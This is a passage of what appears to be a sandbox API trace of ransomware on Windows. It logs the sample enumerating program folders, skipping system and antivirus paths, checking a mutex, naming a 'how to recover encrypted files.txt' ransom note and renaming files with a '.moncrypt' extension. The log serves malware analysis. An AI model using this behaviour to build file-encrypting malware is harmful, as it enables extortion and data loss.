nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@ꐬR企@\x18?T\x18\x88")) returned 0xffffffff [0058.550] GetLastError () returned 0x2 [0058.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@锴R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.551] GetLastError () returned 0x2 [0058.551] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.551] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蘜T企@\x18?T\x18\x97")) returned 0xffffffff [0058.553] GetLastError () returned 0x2 [0058.553] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.553] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.553] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.553] GlobalUnlock (hMem=0x44000c) returned 0 [0058.553] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.553] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.553] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.553] GlobalUnlock (hMem=0x44000c) returned 0 [0058.553] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.553] GlobalUnlock (hMem=0x440004) returned 0 [0058.553] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.553] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.553] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.553] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.553] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.553] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.553] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.553] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.554] GlobalLock (hMem=0x440004) returned 0x550170 [0058.554] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.554] GlobalUnlock (hMem=0x440004) returned 0 [0058.554] GlobalLock (hMem=0x440004) returned 0x550170 [0058.554] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.554] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.554] GlobalUnlock (hMem=0x440004) returned 0 [0058.554] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.554] GlobalUnlock (hMem=0x44000c) returned 0 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.554] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.554] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.555] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.555] GlobalUnlock (hMem=0x44000c) returned 0 [0058.555] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.555] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.555] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.555] GlobalUnlock (hMem=0x44000c) returned 0 [0058.555] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.555] GlobalUnlock (hMem=0x440004) returned 0 [0058.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.555] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.556] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0058.556] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.556] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.556] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.556] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.556] GlobalUnlock (hMem=0x440004) returned 0 [0058.556] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.556] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.556] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.556] GlobalUnlock (hMem=0x440004) returned 0 [0058.556] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.556] GlobalUnlock (hMem=0x44000c) returned 0 [0058.556] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.556] CharLowerBuffW (in: lpsz="CircleSubpicture.png", cchLength=0x14 | out: lpsz="circlesubpicture.png") returned 0x14 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.557] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\CircleSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.557] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.557] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.558] CloseHandle (hObject=0x18c) returned 1 [0058.558] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\я")) returned 1 [0058.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.559] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.559] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.559] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.559] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.560] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png.moncrypt")) returned 0 [0058.560] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0058.560] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.560] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.560] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.560] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.560] GlobalUnlock (hMem=0x44000c) returned 0 [0058.560] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.560] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.560] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.560] GlobalUnlock (hMem=0x44000c) returned 0 [0058.561] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.561] GlobalUnlock (hMem=0x440004) returned 0 [0058.561] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.561] CharLowerBuffW (in: lpsz="GoldRing.png", cchLength=0xc | out: lpsz="goldring.png") returned 0xc [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 